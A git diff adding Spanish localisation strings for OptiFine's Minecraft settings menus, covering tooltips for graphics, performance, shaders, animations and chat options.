+of.options.SHOW_CAPES.tooltip.2= Sà - mostrar las capas de los jugadores (por defecto) +of.options.SHOW_CAPES.tooltip.3= NO - ocultar las capas de los jugadores +of.options.capeOF.copyEditorLink=Copiar enlace + +of.options.TRANSLUCENT_BLOCKS=Bl. translúcidos +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Bloques translúcidos +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Detallados - mezcla de colores perfecta (por defecto) +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Rápidos - mezcla de colores cutre (más rápido) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Esta opción afecta a los bloques translúcidos que tienen +of.options.TRANSLUCENT_BLOCKS.tooltip.6=color pero sólo cuando se colocan uno detrás del otro +of.options.TRANSLUCENT_BLOCKS.tooltip.7=con un bloque vacío entre ambos. +of.options.TRANSLUCENT_BLOCKS.tooltip.8=Afecta a: cristal tintado, agua, hielo... + +of.options.HELD_ITEM_TOOLTIPS=Nombres en barra de ítems +of.options.HELD_ITEM_TOOLTIPS.tooltip.1= +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Sà - ver nombres (por defecto) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= NO - no ver nombres (como antiguamente) + +of.options.DROPPED_ITEMS=Objetos +of.options.DROPPED_ITEMS.tooltip.1=Calidad de los objetos en el suelo sin recoger +of.options.DROPPED_ITEMS.tooltip.2= Por defecto - depende de la opción "Gráficos" +of.options.DROPPED_ITEMS.tooltip.3= Rápidos - objetos en 2D, más rápido +of.options.DROPPED_ITEMS.tooltip.4= Detallados - objetos en 3D, más lento pero más bonito + +options.entityShadows.tooltip.1=Sombras de entidades +options.entityShadows.tooltip.2= Sà - mostrar sombras en las entidades +options.entityShadows.tooltip.3= NO - no mostrar sombras en las entidades + +of.options.VIGNETTE=Bordes +of.options.VIGNETTE.tooltip.1=(Efecto viñeta) oscurece las esquinas de la pantalla +of.options.VIGNETTE.tooltip.2= Por defecto - depende de la opción "Gráficos" +of.options.VIGNETTE.tooltip.3= Rápidos - efecto viñeta desactivado (más rápido) +of.options.VIGNETTE.tooltip.4= Detallados - efecto viñeta activado (más lento) +of.options.VIGNETTE.tooltip.5= +of.options.VIGNETTE.tooltip.6=Los FPS pueden disminuir considerablemente al activarse, +of.options.VIGNETTE.tooltip.7=sobretodo en pantalla completa. +of.options.VIGNETTE.tooltip.8=El efecto viñeta se puede deshabilitar sin ningún problema. + +of.options.DYNAMIC_FOV=Campo de visión dinámico +of.options.DYNAMIC_FOV.tooltip.1=Campo de visión dinámico +of.options.DYNAMIC_FOV.tooltip.2= Sà - activarlo (por defecto) +of.options.DYNAMIC_FOV.tooltip.3= NO - desactivarlo +of.options.DYNAMIC_FOV.tooltip.4= +of.options.DYNAMIC_FOV.tooltip.5=Cambiar el campo de visión (FOV) al volar, correr o +of.options.DYNAMIC_FOV.tooltip.6=apuntar con un arco. + +of.options.DYNAMIC_LIGHTS=Ilum. dinámica +of.options.DYNAMIC_LIGHTS.tooltip.1=Iluminación dinámica +of.options.DYNAMIC_LIGHTS.tooltip.2= NO - sin. (por defecto) +of.options.DYNAMIC_LIGHTS.tooltip.3= Rápidos - básica. (se actualiza cada 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Detallados - perfecta. (se actualiza en tiempo real) +of.options.DYNAMIC_LIGHTS.tooltip.5= +of.options.DYNAMIC_LIGHTS.tooltip.6=Permite a algunos objetos emitir luz sin estar colocados. +of.options.DYNAMIC_LIGHTS.tooltip.7=Al equipar uno de esos objetos en la mano, o al tirarlos, se +of.options.DYNAMIC_LIGHTS.tooltip.8=iluminará el entorno (afecta a: antorchas, piedra luminosa...). + +options.biomeBlendRadius.tooltip.1=El efecto suaviza los colores entre biomas +options.biomeBlendRadius.tooltip.2= NO - sin efecto de transición (más rápido) +options.biomeBlendRadius.tooltip.3= 5x5 - transición normal (por defecto) +options.biomeBlendRadius.tooltip.4= 15x15 - transición detallada (más lento) +options.biomeBlendRadius.tooltip.5= +options.biomeBlendRadius.tooltip.6=Los valores altos pueden generar picos de lag +options.biomeBlendRadius.tooltip.7=y reducir la velocidad de carga de los chunks. + +# Performance + +of.options.SMOOTH_FPS=Estabilizar FPS +of.options.SMOOTH_FPS.tooltip.1=Establizar FPS nivelando el búfer del controlador gráfico +of.options.SMOOTH_FPS.tooltip.2= NO - sin estabilización +of.options.SMOOTH_FPS.tooltip.3= Sà - con estabilización +of.options.SMOOTH_FPS.tooltip.4= +of.options.SMOOTH_FPS.tooltip.5=Esta opción depende del controlador gráfico y su efecto +of.options.SMOOTH_FPS.tooltip.6=no siempre es notorio. + +of.options.SMOOTH_WORLD=Estabilizar mundos +of.options.SMOOTH_WORLD.tooltip.1=Eliminar los picos de lag causados por el servidor interno +of.options.SMOOTH_WORLD.tooltip.2= NO - sin estabilización +of.options.SMOOTH_WORLD.tooltip.3= Sà - con estabilización +of.options.SMOOTH_WORLD.tooltip.4= +of.options.SMOOTH_WORLD.tooltip.5=Esta opción estabiliza los FPS distribuyendo la carga del +of.options.SMOOTH_WORLD.tooltip.6=servidor interno. +of.options.SMOOTH_WORLD.tooltip.7=No funciona en multijugador. + +of.options.FAST_RENDER=Renderizado rápido +of.options.FAST_RENDER.tooltip.1=Renderizar rápidamente +of.options.FAST_RENDER.tooltip.2= NO - renderizado estandar (por defecto) +of.options.FAST_RENDER.tooltip.3= Sà - renderizado optimizado (rápido) +of.options.FAST_RENDER.tooltip.4= +of.options.FAST_RENDER.tooltip.5=Usa un algoritmo de renderizado mejorado que reduce el +of.options.FAST_RENDER.tooltip.6=consumo de GPU y aumenta los FPS. + +of.options.FAST_MATH=Matemática rápida +of.options.FAST_MATH.tooltip.1=Matemática rápida +of.options.FAST_MATH.tooltip.2= NO - estandar (por defecto) +of.options.FAST_MATH.tooltip.3= Sà - sistema rápido +of.options.FAST_MATH.tooltip.4= +of.options.FAST_MATH.tooltip.5=Usar las funciones sin() y cos() de Java de forma +of.options.FAST_MATH.tooltip.6=optimizada para mejorar el uso de caché del CPU y +of.options.FAST_MATH.tooltip.7=aumentar los FPS. + +of.options.CHUNK_UPDATES=Actualizaciones de chunks +of.options.CHUNK_UPDATES.tooltip.1=Actualizaciones de chunks +of.options.CHUNK_UPDATES.tooltip.2= 1 - carga lenta, más FPS (por defecto) +of.options.CHUNK_UPDATES.tooltip.3= 3 - carga rápida, menos FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - carga superrápida, muchos menos FPS +of.options.CHUNK_UPDATES.tooltip.5= +of.options.CHUNK_UPDATES.tooltip.6=Número de chunks renderizados por cada fotograma. +of.options.CHUNK_UPDATES.tooltip.7=Los valores más altos pueden desestabilizar los FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Actualización dinámica +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Actualizaciones de chunks dinámicas +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= NO - (por defecto) carga normal por fotograma +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Sà - más actualizaciones mientras estés quieto +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4= +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=Esta opción fuerza la actualización de chunks mientras +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=estás quieto para cargar el mundo más rápidamente. + +of.options.LAZY_CHUNK_LOADING=Carga de chunks vaga +of.options.LAZY_CHUNK_LOADING.tooltip.1=Carga de chunks vaga +of.options.LAZY_CHUNK_LOADING.tooltip.2= NO - carga de chunks predeterminada +of.options.LAZY_CHUNK_LOADING.tooltip.3= Sà - carga de chunks vaga (estabiliza la carga) +of.options.LAZY_CHUNK_LOADING.tooltip.4= +of.options.LAZY_CHUNK_LOADING.tooltip.5=Suaviza la carga interna de chunks distribuyéndola entre +of.options.LAZY_CHUNK_LOADING.tooltip.6=varios ticks. Quitalo si algunas partes del mundo no +of.options.LAZY_CHUNK_LOADING.tooltip.7=se cargan correctamente. +of.options.LAZY_CHUNK_LOADING.tooltip.8=Sólo funciona en mundos locales con CPUs de un núcleo. + +of.options.RENDER_REGIONS=Render. por regiones +of.options.RENDER_REGIONS.tooltip.1=Renderizado por regiones +of.options.RENDER_REGIONS.tooltip.2= NO - no usar renderizado por regiones (por defecto) +of.options.RENDER_REGIONS.tooltip.3= Sà - usar renderizado por regiones +of.options.RENDER_REGIONS.tooltip.4= +of.options.RENDER_REGIONS.tooltip.5=Permite renderizar el terreno muy rápidamente +of.options.RENDER_REGIONS.tooltip.6=cuando te encuentras a una gran altura. +of.options.RENDER_REGIONS.tooltip.7= +of.options.RENDER_REGIONS.tooltip.8=Es más efectivo si se activa "Usar VBOs" o "VBO". + +of.options.SMART_ANIMATIONS=Animaciones inteligentes +of.options.SMART_ANIMATIONS.tooltip.1=Animaciones inteligentes +of.options.SMART_ANIMATIONS.tooltip.2= NO - no usar animaciones inteligentes (por defecto) +of.options.SMART_ANIMATIONS.tooltip.3= Sà - usar animaciones inteligentes +of.options.SMART_ANIMATIONS.tooltip.4= +of.options.SMART_ANIMATIONS.tooltip.5=Al activarse, sólo se animan las texturas visibles. +of.options.SMART_ANIMATIONS.tooltip.6=De esta forma se mejora mucho el rendimiento (más FPS). +of.options.SMART_ANIMATIONS.tooltip.7=Es muy útil cuando se usan grandes paquetes de mods +of.options.SMART_ANIMATIONS.tooltip.8=o paquetes de recursos de alta definición. + +# Animations + +of.options.animation.allOn=TODO Sà +of.options.animation.allOff=TODO NO +of.options.animation.dynamic=Dinámicas + +of.options.ANIMATED_WATER=Agua +of.options.ANIMATED_LAVA=Lava +of.options.ANIMATED_FIRE=Fuego +of.options.ANIMATED_PORTAL=Portales +of.options.ANIMATED_REDSTONE=Redstone +of.options.ANIMATED_EXPLOSION=Explosiones +of.options.ANIMATED_FLAME=Llamaradas +of.options.ANIMATED_SMOKE=Humo +of.options.VOID_PARTICLES=Partículas del vacío +of.options.WATER_PARTICLES=Partículas del agua +of.options.RAIN_SPLASH=Salpicaduras de lluvia +of.options.PORTAL_PARTICLES=Partículas de portales +of.options.POTION_PARTICLES=Partículas de pociones +of.options.DRIPPING_WATER_LAVA=Goteo de agua/lava +of.options.ANIMATED_TERRAIN=Terreno animado +of.options.ANIMATED_TEXTURES=Texturas animadas +of.options.FIREWORK_PARTICLES=Partículas de cohetes + +# Other + +of.options.LAGOMETER=Medidor de lag +of.options.LAGOMETER.tooltip.1=Mostrar el medidor de lag al usar F3. +of.options.LAGOMETER.tooltip.2=* Naranja - Basura en la memoria +of.options.LAGOMETER.tooltip.3=* Azul cian - Ticks +of.options.LAGOMETER.tooltip.4=* Azul - Ejecutables programados +of.options.LAGOMETER.tooltip.5=* Violeta - Carga de chunks +of.options.LAGOMETER.tooltip.6=* Rojo - Actualizaciones de chunks +of.options.LAGOMETER.tooltip.7=* Amarillo - Chequeo de visibilidad +of.options.LAGOMETER.tooltip.8=* Verde - Terreno renderizado + +of.options.PROFILER=Perfil debug +of.options.PROFILER.tooltip.1=Debug (también llamado depuración) +of.options.PROFILER.tooltip.2= Sà - perfil debug activado, más lento +of.options.PROFILER.tooltip.3= NO - perfil debug desactivado, más rápido +of.options.PROFILER.tooltip.4=El perfil debug reúne y muestra más datos +of.options.PROFILER.tooltip.5=cuando se utiliza F3. + +of.options.WEATHER=Ciclo climático +of.options.WEATHER.tooltip.1= +of.options.WEATHER.tooltip.2= Sà - clima cambiante, más lento +of.options.WEATHER.tooltip.3= NO - clima estático, más rápido +of.options.WEATHER.tooltip.4= +of.options.WEATHER.tooltip.5=Afecta a: lluvia, nieve y tormentas. +of.options.WEATHER.tooltip.6=Esta opción no funciona en servidores. + +of.options.time.dayOnly=Sólo día +of.options.time.nightOnly=Sólo noche + +of.options.TIME=Ciclo día y noche +of.options.TIME.tooltip.1= +of.options.TIME.tooltip.2= Por defecto - hay día y noche +of.options.TIME.tooltip.3= Sólo día - sólo es de día +of.options.TIME.tooltip.4= Sólo noche - sólo es de noche +of.options.TIME.tooltip.5= +of.options.TIME.tooltip.6=Esta opción funciona si tenés modo creativo +of.options.TIME.tooltip.7=y estás en un mundo local (en servidores no). + +options.fullscreen.tooltip.1= +options.fullscreen.tooltip.2= Sà - jugar en pantalla completa +options.fullscreen.tooltip.3= NO - jugar en ventana +options.fullscreen.tooltip.5= +options.fullscreen.tooltip.6=Al jugar en p. completa el juego puede mejorar +options.fullscreen.tooltip.7=el rendimiento, pero depende de tu tarjeta de video. + +of.options.FULLSCREEN_MODE=Resolución +of.options.FULLSCREEN_MODE.tooltip.1=Resolución de pantalla completa +of.options.FULLSCREEN_MODE.tooltip.2= Por defecto - resolución del monitor, más lento +of.options.FULLSCREEN_MODE.tooltip.3= Ancho x alto - otra resolución, puede ir más rápido +of.options.FULLSCREEN_MODE.tooltip.4=La resolución cambiará en la pantalla completa (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Normalmente las más bajas aumentan el rendimiento. + +of.options.SHOW_FPS=Mostrar FPS +of.options.SHOW_FPS.tooltip.1=Mostrar FPS y datos de renderizado +of.options.SHOW_FPS.tooltip.2= C: - chunks renderizados +of.options.SHOW_FPS.tooltip.3= E: - entidades renderizadas + "block entities" +of.options.SHOW_FPS.tooltip.4= U: - actualizaciones de chunks +of.options.SHOW_FPS.tooltip.5= +of.options.SHOW_FPS.tooltip.6=Estos reducidos datos sólo se muestran cuando no se +of.options.SHOW_FPS.tooltip.7=usa F3. + +of.options.save.default=Original (2s) +of.options.save.20s=20s +of.options.save.3min=3min +of.options.save.30min=30min + +of.options.AUTOSAVE_TICKS=Autoguardado +of.options.AUTOSAVE_TICKS.tooltip.1=Intervalo del autoguardado +of.options.AUTOSAVE_TICKS.tooltip.2=El original del juego (cada 2 seg.) NO SE RECOMIENDA. +of.options.AUTOSAVE_TICKS.tooltip.3=Ponerlo cada poco tiempo puede causar mal rendimiento. + +options.anaglyph.tooltip.1=Visión en 3D + +of.options.SCREENSHOT_SIZE=Capturas +of.options.SCREENSHOT_SIZE.tooltip.1=Tamaño de las capturas de pantalla +of.options.SCREENSHOT_SIZE.tooltip.2= Por defecto - tamaño normal +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - tamaños personalizados +of.options.SCREENSHOT_SIZE.tooltip.4= +of.options.SCREENSHOT_SIZE.tooltip.5=Las capturas ocupan más espacio al aumentar el tamaño. +of.options.SCREENSHOT_SIZE.tooltip.6=No es compatible con Renderizado rápido ni con Antialiasing. +of.options.SCREENSHOT_SIZE.tooltip.7=Requiere que tu tarjeta video soporte Framebuffer. + +of.options.ADVANCED_TOOLTIPS=Descripciones de objetos +of.options.ADVANCED_TOOLTIPS.tooltip.1=Descripciones de objetos en el inventario +of.options.ADVANCED_TOOLTIPS.tooltip.2= Sà - mostrar descripciones +of.options.ADVANCED_TOOLTIPS.tooltip.3= NO - no mostrar descripciones (por defecto) +of.options.ADVANCED_TOOLTIPS.tooltip.4= +of.options.ADVANCED_TOOLTIPS.tooltip.5=Esta opción permite ver información más detallada sobre +of.options.ADVANCED_TOOLTIPS.tooltip.6=objetos (ID, durabilidad) y shaders (ID, fuente, +of.options.ADVANCED_TOOLTIPS.tooltip.7=valor predeterminado). + +of.options.SHOW_GL_ERRORS=Mostrar errores de GL +of.options.SHOW_GL_ERRORS.tooltip.1=Mostrar errores de OpenGL +of.options.SHOW_GL_ERRORS.tooltip.2=Al activarse, los errores se muestran en el chat. +of.options.SHOW_GL_ERRORS.tooltip.3=Quitalo si hay un problema irresoluble para que +of.options.SHOW_GL_ERRORS.tooltip.4=los errores no te molesten. +of.options.SHOW_GL_ERRORS.tooltip.5= +of.options.SHOW_GL_ERRORS.tooltip.6=Aunque se desactive, los errores siguen apareciendo en +of.options.SHOW_GL_ERRORS.tooltip.7=el registro (log) y pueden seguir causando FPS inestables. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Fondo de chat +of.options.CHAT_BACKGROUND.tooltip.1=Fondo de chat +of.options.CHAT_BACKGROUND.tooltip.2= Por defecto - el fondo aparece con un tamaño estático +of.options.CHAT_BACKGROUND.tooltip.3= Compacto - el fondo aparece con un tamaño adaptado al texto +of.options.CHAT_BACKGROUND.tooltip.4= NO - sin fondo + +of.options.CHAT_SHADOW=Sombreado de chat +of.options.CHAT_SHADOW.tooltip.1=Agregar sombra al texto del chat +of.options.CHAT_SHADOW.tooltip.2= Sà - sombrearlo +of.options.CHAT_SHADOW.tooltip.3= NO - sin sombrearlo diff --git a/src/assets/minecraft/optifine/lang/es_ch.lang b/src/assets/minecraft/optifine/lang/es_ch.lang new file mode 100644 index 00000000..8f6cdff6 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/es_ch.lang @@ -0,0 +1,813 @@ +# General +of.general.ambiguous=ambiguo +of.general.compact=Compacto +of.general.custom=Personalizado +of.general.from=De +of.general.id=ID +of.general.max=Máximo +of.general.restart=Reiniciar +of.general.smart=Inteligentes + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=Antialiasing no es compatible con shaders. +of.message.aa.shaders2=Desactívalas para usar esta función. + +of.message.af.shaders1=Anisotrópico no es compatible con shaders. +of.message.af.shaders2=Desactívalas para usar esta función. + +of.message.fr.shaders1=No es compatible con shaders. +of.message.fr.shaders2=Desactívalas para usar esta función. + +of.message.shaders.aa1=Las shaders no son compatibles con antialiasing. +of.message.shaders.aa2=Para desactivarlo, haz clic en Calidad -> Antialiasing. + +of.message.shaders.af1=Las shaders no son compatibles con anisotrópico. +of.message.shaders.af2=Para desactivarlo, haz clic en Calidad -> Anisotrópico. + +of.message.shaders.fr1=Las shaders no son compatibles con el renderizado rápido. +of.message.shaders.fr2=Para desactivarlo, haz clic en Rendimiento -> Renderizado rápido. + +of.message.an.shaders1=No es compatible con shaders. +of.message.an.shaders2=Desactívalas para usar esta función. + +of.message.shaders.aa1=No es compatible con Antialiasing. +of.message.shaders.aa2=Desactívalo en Calidad -> Antialiasing -> NO. + +of.message.shaders.af1=No es compatible con Anisotrópico. +of.message.shaders.af2=Desactívalo en Calidad -> Anisotrópico -> NO. + +of.message.shaders.fr1=No es compatible con Renderizado rápido. +of.message.shaders.fr2=Desactívalo en Calidad -> Renderizado rápido -> NO. + +of.message.shaders.an1=No es compatible con Visión en 3D. +of.message.shaders.an2=Desactívalo en Opciones varias -> Visión en 3D. + +of.message.shaders.nv1=Estas shaders requieren un Optifine más reciente: %s +of.message.shaders.nv2=¿Quieres continuar? + +of.message.newVersion=Hay una nueva versión de §eOptiFine§f disponible: §e%s§f +of.message.java64Bit=Instala §eJava de 64-bits§f para mejorar el rendimiento +of.message.openglError=§eError de OpenGL§f: %s (%s) + +of.message.shaders.loading=Cargando shader: %s + +of.message.other.reset=¿Restablecer toda la configuración gráfica? + +of.message.loadingVisibleChunks=Cargando chunks visibles + +# Skin customization + +of.options.skinCustomisation.ofCape=Capa de OptiFine... + +of.options.capeOF.title=Capa de OptiFine +of.options.capeOF.openEditor=Editor de capa de OptiFine +of.options.capeOF.reloadCape=Recargar capa + +of.message.capeOF.openEditor=El editor de capa necesita abrirse en tu navegador. +of.message.capeOF.openEditorError=Error al abrir el enlace. +of.message.capeOF.reloadCape=La capa se recargará en 15 segundos. + +of.message.capeOF.error1=Error de autenticación con Mojang. +of.message.capeOF.error2=Error: %s + +# Video settings + +options.graphics.tooltip.1=Gráficos +options.graphics.tooltip.2= Rápidos - peor calidad, mejor rendimiento +options.graphics.tooltip.3= Detallados - mejor calidad, peor rendimiento +options.graphics.tooltip.4= +options.graphics.tooltip.5=Los cambios se aprecian en las nubes, en las hojas, +options.graphics.tooltip.6=en la lluvia, en los objetos tirados y en las +options.graphics.tooltip.7=esquinas (o bordes) de la pantalla del juego. + +of.options.renderDistance.tiny=Mínimo +of.options.renderDistance.short=Corto +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Lejano +of.options.renderDistance.extreme=Extremo +of.options.renderDistance.insane=Insano +of.options.renderDistance.ludicrous=Absurdo + +options.renderDistance.tooltip.1= 2 Mínimo - 32m (increíblemente rápido) +options.renderDistance.tooltip.2= 4 Corto - 64m (rápido) +options.renderDistance.tooltip.3= 8 Normal - 128m (recomendado) +options.renderDistance.tooltip.4= 16 Lejano - 256m (puede ir lento) +options.renderDistance.tooltip.5= 32 Extremo - 512m (¡puede ir horrible!) +options.renderDistance.tooltip.6= 48 Insano - 768m, requiere usar 2GB de RAM +options.renderDistance.tooltip.7= 64 Absurdo - 1024m, requiere usar 3GB de RAM +options.renderDistance.tooltip.8=A partir de 16 chunks será inútil en multijugador. + +options.ao.tooltip.1=Iluminación suave +options.ao.tooltip.2= NO - sin iluminación suave (rápido) +options.ao.tooltip.3= Mínimo - iluminación suave simple (lento) +options.ao.tooltip.4= Máximo - iluminación suave avanzada (más lento) + +options.framerateLimit.tooltip.1=Límite de FPS +options.framerateLimit.tooltip.2= VSync - limita los FPS según tu monitor (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - límite personalizado +options.framerateLimit.tooltip.4= Sin límite - todos los FPS posibles (recomendado) +options.framerateLimit.tooltip.5= +options.framerateLimit.tooltip.6=Al establecer un límite, los FPS pueden +options.framerateLimit.tooltip.7=disminuir si llegan a alcanzarlo. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Nivel de suavidad +of.options.AO_LEVEL.tooltip.1=Nivel de la iluminación suave +of.options.AO_LEVEL.tooltip.2= NO - sin sombras +of.options.AO_LEVEL.tooltip.3= 50%% - pocas sombras +of.options.AO_LEVEL.tooltip.4= 100%% - sombras oscuras + +options.viewBobbing.tooltip.1=Un movimiento más realista. +options.viewBobbing.tooltip.2=Desactívalo al usar mipmap para que sea mejor. + +options.guiScale.tooltip.1=Tamaño de interfaz (GUI) +options.guiScale.tooltip.2= Auto. - tamaño máximo +options.guiScale.tooltip.3= Pequeña, normal y grande - desde 1x hasta 3x +options.guiScale.tooltip.4= Desde 4x hasta 10x - disponible en pantallas 4K. +options.guiScale.tooltip.5= +options.guiScale.tooltip.6=Los valores impares (1x, 3x, 5x...) no son compatibles +options.guiScale.tooltip.7=con la fuente unicode. +options.guiScale.tooltip.8=Una interfaz pequeña puede mejorar el rendimiento. + +options.vbo=Usar VBOs +options.vbo.tooltip.1=Vertex Buffer Objects (abreviado como VBO) +options.vbo.tooltip.2= +options.vbo.tooltip.3=Es un tipo de renderizado alternativo que suele ser +options.vbo.tooltip.4=más rápido que el predeterminado (un 5-10%%). + +options.gamma.tooltip.1=Modificar el brillo +options.gamma.tooltip.2= Oscuro - brillo por defecto +options.gamma.tooltip.3= 1-99%% - brillo personalizado +options.gamma.tooltip.4= Claro - brillo al máximo +options.gamma.tooltip.5= +options.gamma.tooltip.6=Esta opción no cambia completamente +options.gamma.tooltip.7=el brillo de los objetos más oscuros. + +options.anaglyph.tooltip.1=Visión en 3D +options.anaglyph.tooltip.2=Activar un efecto estereoscópico usando un color +options.anaglyph.tooltip.3=diferente para cada ojo. +options.anaglyph.tooltip.4=NOTA: Requiere gafas anaglíficas (rojas y azules). + +options.attackIndicator.tooltip.1=Modifica la ubicación del indicador de ataque +options.attackIndicator.tooltip.2= MIRA - debajo de mira central +options.attackIndicator.tooltip.3= BARRA - cerca de barra de objetos +options.attackIndicator.tooltip.4= NO - sin indicador de ataque +options.attackIndicator.tooltip.5= +options.attackIndicator.tooltip.6=Se indica la fuerza de ataque del +options.attackIndicator.tooltip.7=objeto que tengas en la mano principal. + +of.options.ALTERNATE_BLOCKS=Bloques alternos +of.options.ALTERNATE_BLOCKS.tooltip.1=Bloques con texturas alternas +of.options.ALTERNATE_BLOCKS.tooltip.2=Usar texturas alternativas para un mismo bloque. +of.options.ALTERNATE_BLOCKS.tooltip.3=Depende del paquete de recursos usado. + +of.options.FOG_FANCY=Niebla +of.options.FOG_FANCY.tooltip.1=Tipo de niebla +of.options.FOG_FANCY.tooltip.2= Rápidos - niebla más rápida, luce cutre +of.options.FOG_FANCY.tooltip.3= Detallados - niebla más lenta, luce mejor +of.options.FOG_FANCY.tooltip.4= NO - sin niebla, mejor rendimiento +of.options.FOG_FANCY.tooltip.5=La niebla detallada sólo está disponible si +of.options.FOG_FANCY.tooltip.6=tu tarjeta gráfica lo permite. + +of.options.FOG_START=Distancia de niebla +of.options.FOG_START.tooltip.1=Distancia a la que empieza la niebla +of.options.FOG_START.tooltip.2= 0.2 - la niebla estará cerca +of.options.FOG_START.tooltip.3= 0.8 - la niebla estará lejos +of.options.FOG_START.tooltip.4=Esta opción no suele afectar al rendimiento. + +of.options.CHUNK_LOADING=Carga de chunks +of.options.CHUNK_LOADING.tooltip.1=Velocidad de carga de chunks +of.options.CHUNK_LOADING.tooltip.2= Por defecto - FPS inestables al cargar chunks +of.options.CHUNK_LOADING.tooltip.3= Suave - FPS estables +of.options.CHUNK_LOADING.tooltip.4= Multinúcleo - FPS estables y una velocidad 3 veces superior +of.options.CHUNK_LOADING.tooltip.5=Las opciones "Suave" y "Multinúcleo" eliminan los tirones y +of.options.CHUNK_LOADING.tooltip.6=la lentitud causada por la carga de chunks. +of.options.CHUNK_LOADING.tooltip.7=Multinúcleo puede acelerar la carga hasta 3 veces más y +of.options.CHUNK_LOADING.tooltip.8=mejorar los FPS al usar un segundo núcleo del CPU. +of.options.chunkLoading.smooth=Suave +of.options.chunkLoading.multiCore=Multinúcleo + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=(SIN SHADERS) +of.options.shaders.packDefault=(SHADER INTERNA) + +of.options.shaders.ANTIALIASING=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.1=Nivel de antialiasing +of.options.shaders.ANTIALIASING.tooltip.2= NO - por defecto (rápido) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - mejora líneas y esquinas (más lento) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA es un efecto de posprocesamiento que suaviza +of.options.shaders.ANTIALIASING.tooltip.5="dientes de sierra" y transiciones de color. +of.options.shaders.ANTIALIASING.tooltip.6=Funciona mejor que el antialiasing común, y +of.options.shaders.ANTIALIASING.tooltip.7=es compatible con Renderizado rápido y shaders. + +of.options.shaders.NORMAL_MAP=Mapeado normal +of.options.shaders.NORMAL_MAP.tooltip.1=También llamado Normal Map +of.options.shaders.NORMAL_MAP.tooltip.2= Sà - (por defecto) +of.options.shaders.NORMAL_MAP.tooltip.3= NO +of.options.shaders.NORMAL_MAP.tooltip.4=Puede usarse por shaders para simular geometría 3D +of.options.shaders.NORMAL_MAP.tooltip.5=en superficies planas. +of.options.shaders.NORMAL_MAP.tooltip.6= +of.options.shaders.NORMAL_MAP.tooltip.7=No todas las shaders soportan esta opción. + +of.options.shaders.SPECULAR_MAP=Mapeado especular +of.options.shaders.SPECULAR_MAP.tooltip.1=También llamado Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.2= Sà - (por defecto) +of.options.shaders.SPECULAR_MAP.tooltip.3= NO +of.options.shaders.SPECULAR_MAP.tooltip.4=Esta opción puede ser usada por shaders para simular +of.options.shaders.SPECULAR_MAP.tooltip.5=un efecto de reflejo especial. +of.options.shaders.SPECULAR_MAP.tooltip.6= +of.options.shaders.SPECULAR_MAP.tooltip.7=No todas las shaders soportan esta opción. + + +of.options.shaders.RENDER_RES_MUL=Calidad render. +of.options.shaders.RENDER_RES_MUL.tooltip.1=Calidad de renderizado del juego +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - bajo (más rápido, más borroso) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - normal (por defecto) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - alto (más lento, más calidad) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Controla la resolución interna a la que se renderiza. +of.options.shaders.RENDER_RES_MUL.tooltip.6= +of.options.shaders.RENDER_RES_MUL.tooltip.7=Valor bajo = aumenta el rendimiento. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Valor alto = sirve como antialiasing. + +of.options.shaders.SHADOW_RES_MUL=Calidad sombras +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Calidad de sombras +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - bajo (más rápido) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - normal (por defecto) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - alto (más lento) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Controla el mapeado de sombras de las shaders. +of.options.shaders.SHADOW_RES_MUL.tooltip.6= +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Valor bajo = borrosas, líneas gruesas. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Valor alto = detalladas, líneas definidas. + +of.options.shaders.HAND_DEPTH_MUL=Pr. de campo +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Profundidad de campo +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - mano cerca de la cámara +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (por defecto) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - mano lejos de la cámara +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Controla la distancia entre la mano y la cámara. +of.options.shaders.HAND_DEPTH_MUL.tooltip.6= +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Puede cambiar el desenfoque producido en la mano +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=por las shaders que usan blur. + +of.options.shaders.CLOUD_SHADOW=Sombras de nubes + +of.options.shaders.OLD_HAND_LIGHT=LC manos +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Luz clásica (LC) en la mano 